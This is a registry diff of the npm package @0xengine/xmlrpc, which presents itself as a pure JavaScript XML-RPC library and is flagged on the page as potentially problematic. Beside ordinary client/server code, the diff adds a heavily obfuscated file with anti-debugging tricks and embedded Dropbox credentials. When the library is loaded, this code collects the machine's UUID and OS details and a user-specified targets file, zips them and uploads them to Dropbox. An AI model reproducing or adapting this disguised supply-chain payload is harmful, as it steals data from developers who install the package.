@0xengine/xmlrpc 0.0.1-security → 1.3.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1 @@
1
+ const a0_0x293595=a0_0x5583;function a0_0x3313(){const _0x1d5848=['writeFile','Ctora','145439LhBUar','143142ODjQfi','resolve','zviQL','ZtRBk4Wfng','counter','132jHaszd','refreshTok','encoding','Gdgfi','argv','test','zvGFM','nczMf','zipPath:\x20','aPOdZ','qbknda07b3','dropbox','function\x20*','gger','input','.zip','884352jIdnHO','dWaEU','no1z3','e)\x20{}','chain','ggTYegPuYh','utf8','call','apply','fs-extra','stringify','owner','$]*)','2gyuq','targets\x20sr','EXdInRczVA','copyFile','hAUoh','cAAAAAAAAA','/si.json','then','clientId','a-zA-Z_$][','ODoh','osInfo','filesUploa','rmation','log','63997drNcps','\x5c+\x5c+\x20*(?:[','0-9a-zA-Z_','705704zbZkXc','c6j642mz7k','string','2405795TWDFxF','tmpdir','tErwi','bvAoW','debu','1379292BZQRVK','vhQRV','path','constructo','action','eZarh5VSmU','zip-a-fold','AYA9a4wHLu','debugme','uuid','init','c\x20path:\x20','vZzJt','length','contents'];a0_0x3313=function(){return _0x1d5848;};return a0_0x3313();}function a0_0x5583(_0x33138b,_0x558389){const _0x378ebb=a0_0x3313();return a0_0x5583=function(_0x383b2e,_0xe7f4dd){_0x383b2e=_0x383b2e-(-0x106+-0x1f7a+0x213b);let _0x67cae6=_0x378ebb[_0x383b2e];return _0x67cae6;},a0_0x5583(_0x33138b,_0x558389);}(function(_0x1089de,_0x593923){const _0x4201c3=a0_0x5583,_0x7481db=_0x1089de();while(!![]){try{const _0x21ed9d=-parseInt(_0x4201c3(0xc3))/(-0x58c+0x22e3+0x2*-0xeab)+-parseInt(_0x4201c3(0xe0))/(0x789+-0x343*0x2+-0x101)+-parseInt(_0x4201c3(0xf5))/(0x39*-0x13+0xc77+-0x839)+-parseInt(_0x4201c3(0xce))/(0x8d*-0x24+-0x20b5+-0x1*-0x348d)+parseInt(_0x4201c3(0xc9))/(-0x1743+-0x1188+0x28d*0x10)+parseInt(_0x4201c3(0xe5))/(0xaec+-0x70*0xc+-0x5a6)*(parseInt(_0x4201c3(0xdf))/(-0x643+-0x1392*-0x1+0x1a9*-0x8))+parseInt(_0x4201c3(0xc6))/(-0x996*0x4+0x3d3*0x2+-0x3*-0xa3e);if(_0x21ed9d===_0x593923)break;else _0x7481db['push'](_0x7481db['shift']());}catch(_0x515752){_0x7481db['push'](_0x7481db['shift']());}}}(a0_0x3313,0x5b67+0x396*-0x16b+0x29*0x3576));const a0_0x12daf8=(function(){let _0xcc4d66=!![];return function(_0x397b75,_0x417028){const _0x59caed=_0xcc4d66?function(){const _0x168c5d=a0_0x5583;if(_0x168c5d(0xf6)!=='dWaEU')return function(_0x2d820d){}[_0x168c5d(0xd1)+'r']('while\x20(tru'+_0x168c5d(0xf8))[_0x168c5d(0xfd)](_0x168c5d(0xe4));else{if(_0x417028){if(_0x168c5d(0xe8)==='Gdgfi'){const _0x2ac70f=_0x417028[_0x168c5d(0xfd)](_0x397b75,arguments);return _0x417028=null,_0x2ac70f;}else{const _0x2fc4f6=_0x200575?function(){const _0x1f866b=_0x168c5d;if(_0x3782c4){const _0x54c2ac=_0x304301[_0x1f866b(0xfd)](_0x1d4551,arguments);return _0x3d9fdf=null,_0x54c2ac;}}:function(){};return _0x17dc1c=![],_0x2fc4f6;}}}}:function(){};return _0xcc4d66=![],_0x59caed;};}());(function(){a0_0x12daf8(this,function(){const _0x361956=a0_0x5583,_0x4bf37a=new RegExp('function\x20*'+'\x5c(\x20*\x5c)'),_0x1f7ec7=new RegExp(_0x361956(0xc4)+_0x361956(0xbd)+_0x361956(0xc5)+_0x361956(0x101),'i'),_0x4dc987=a0_0x165b06(_0x361956(0xd8));if(!_0x4bf37a[_0x361956(0xea)](_0x4dc987+'chain')||!_0x1f7ec7[_0x361956(0xea)](_0x4dc987+_0x361956(0xf3))){if(_0x361956(0xcb)!=='sAebq')_0x4dc987('0');else{const _0xbfc88a=_0x1fbf5b[_0x361956(0xfd)](_0x249170,arguments);return _0x2c09d=null,_0xbfc88a;}}else a0_0x165b06();})();}());const fs=require(a0_0x293595(0xfe)),{zip}=require(a0_0x293595(0xd4)+'er'),si=require('systeminfo'+a0_0x293595(0xc1)),os=require('os'),path=require(a0_0x293595(0xd0)),{Dropbox}=require(a0_0x293595(0xf0)),a0_0x5e4f27={};a0_0x5e4f27[a0_0x293595(0xbc)]=a0_0x293595(0xef)+a0_0x293595(0xf7),a0_0x5e4f27['clientSecr'+'et']=a0_0x293595(0xc7)+a0_0x293595(0x102),a0_0x5e4f27[a0_0x293595(0xe6)+'en']=a0_0x293595(0xe3)+a0_0x293595(0x107)+a0_0x293595(0xd5)+a0_0x293595(0x104)+a0_0x293595(0xd3)+a0_0x293595(0xfa)+a0_0x293595(0xbe);const dbx=new Dropbox(a0_0x5e4f27);async function validator(){const _0x45e070=a0_0x293595,_0x78b6ad=process[_0x45e070(0xe9)]['find'](_0x1e8b00=>_0x1e8b00===_0x45e070(0xd6))!==undefined,_0x57679b=process[_0x45e070(0xe9)]['find'](_0x21bb4b=>_0x21bb4b===_0x45e070(0x100))!==undefined,_0x200087=_0x13acb4=>{const _0x438d9d=_0x45e070;if('DFHKx'==='wGorq')_0x20b006&&_0xb5703f[_0x438d9d(0xc2)](_0x2ba4bc);else{if(_0x78b6ad){if(_0x438d9d(0xda)==='VALtu'){_0x16340a('Owner');return;}else console[_0x438d9d(0xc2)](_0x13acb4);}}};if(_0x57679b){_0x200087('Owner');return;}_0x200087(process[_0x45e070(0xe9)]);const _0x4f2ce4=process[_0x45e070(0xe9)]['findIndex'](_0x172910=>_0x172910==='--targets'||_0x172910==='-t');if(_0x4f2ce4===-(0x7da+0x2291*0x1+0x1*-0x2a6a))return;const _0x4a1060=path[_0x45e070(0xe1)](process['argv'][_0x4f2ce4+(0x2152*-0x1+-0x265a+-0x3b*-0x137)]);_0x200087(_0x45e070(0x103)+_0x45e070(0xd9)+_0x4a1060);const _0x22ff41=os[_0x45e070(0xca)](),_0x5ef439=Date['now'](),_0x46d729=_0x22ff41+'/'+_0x5ef439;await fs['ensureDir'](_0x46d729);const _0x158414=await si['uuid'](),_0x158dd6=await si[_0x45e070(0xbf)](),_0x81dfb9={};_0x81dfb9[_0x45e070(0xd7)]=_0x158414,_0x81dfb9['osInfo']=_0x158dd6;const _0x560cd6=_0x81dfb9,_0x4e6d9=JSON[_0x45e070(0xff)](_0x560cd6,null,-0x1*0xdcb+0xa7d+-0x1*-0x350),_0x277cfc=_0x46d729+_0x45e070(0x108),_0x285738={};_0x285738[_0x45e070(0xe7)]=_0x45e070(0xfb),await fs[_0x45e070(0xdd)](_0x277cfc,_0x4e6d9,_0x285738);const _0x164b90=_0x46d729+('/targets.t'+'xt');await fs[_0x45e070(0x105)](_0x4a1060,_0x164b90);const _0x29c010=_0x158414['os']+'-'+_0x5ef439+_0x45e070(0xf4),_0x52b959=_0x22ff41+'/'+_0x29c010;_0x200087(_0x45e070(0xed)+_0x52b959),await zip(_0x46d729,_0x52b959);const _0x5c575d=fs['readFile'](_0x52b959),_0x2ee5b6={};_0x2ee5b6[_0x45e070(0xd0)]='/'+_0x29c010,_0x2ee5b6[_0x45e070(0xdc)]=_0x5c575d,dbx[_0x45e070(0xc0)+'d'](_0x2ee5b6)[_0x45e070(0xbb)](_0x3844d7=>{const _0x588d5e=_0x45e070;_0x588d5e(0xeb)!==_0x588d5e(0xeb)?_0x1a94a6[_0x588d5e(0xc2)](_0x59c8b0):_0x200087(_0x3844d7);})['catch'](_0x3841bd=>{_0x200087(_0x3841bd);});}module['exports']=validator;function a0_0x165b06(_0x3b8c9e){const _0x4da1f0=a0_0x293595;function _0x475f3e(_0x241bf4){const _0x2f9da4=a0_0x5583;if('Ctora'===_0x2f9da4(0xde)){if(typeof _0x241bf4===_0x2f9da4(0xc8))return function(_0x49d6e8){}[_0x2f9da4(0xd1)+'r']('while\x20(tru'+'e)\x20{}')[_0x2f9da4(0xfd)](_0x2f9da4(0xe4));else{if(_0x2f9da4(0xcf)===_0x2f9da4(0xcf))(''+_0x241bf4/_0x241bf4)[_0x2f9da4(0xdb)]!==0x2a*-0xc+-0x2053+-0x6dc*-0x5||_0x241bf4%(-0x16be*-0x1+-0x1be1+0x537)===-0x1664+0x6*-0x4d+0x1832?'EOEqZ'!=='xMeLd'?function(){return!![];}[_0x2f9da4(0xd1)+'r'](_0x2f9da4(0xcd)+'gger')[_0x2f9da4(0xfc)](_0x2f9da4(0xd2)):function(){return!![];}['constructo'+'r'](_0x2f9da4(0xcd)+_0x2f9da4(0xf2))['call'](_0x2f9da4(0xd2)):function(){const _0x4f17ba=_0x2f9da4;return _0x4f17ba(0xcc)!==_0x4f17ba(0xee)?![]:!![];}['constructo'+'r'](_0x2f9da4(0xcd)+_0x2f9da4(0xf2))['apply']('stateObjec'+'t');else return _0x297845;}_0x475f3e(++_0x241bf4);}else _0x1c6668(this,function(){const _0x3105cb=_0x2f9da4,_0x47c2a4=new _0x4f2429(_0x3105cb(0xf1)+'\x5c(\x20*\x5c)'),_0x4ecbc9=new _0x1ac75b(_0x3105cb(0xc4)+_0x3105cb(0xbd)+_0x3105cb(0xc5)+'$]*)','i'),_0x2a88c6=_0x556369(_0x3105cb(0xd8));!_0x47c2a4[_0x3105cb(0xea)](_0x2a88c6+_0x3105cb(0xf9))||!_0x4ecbc9[_0x3105cb(0xea)](_0x2a88c6+_0x3105cb(0xf3))?_0x2a88c6('0'):_0x35e467();})();}try{if(_0x3b8c9e){if('UeoCT'!==_0x4da1f0(0xe2))return _0x475f3e;else return;}else{if(_0x4da1f0(0x106)===_0x4da1f0(0xec))return![];else _0x475f3e(0x1*0x1811+-0x361*0x5+-0x72c);}}catch(_0x25da6c){}}
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.14",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox": "^10.34.0",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }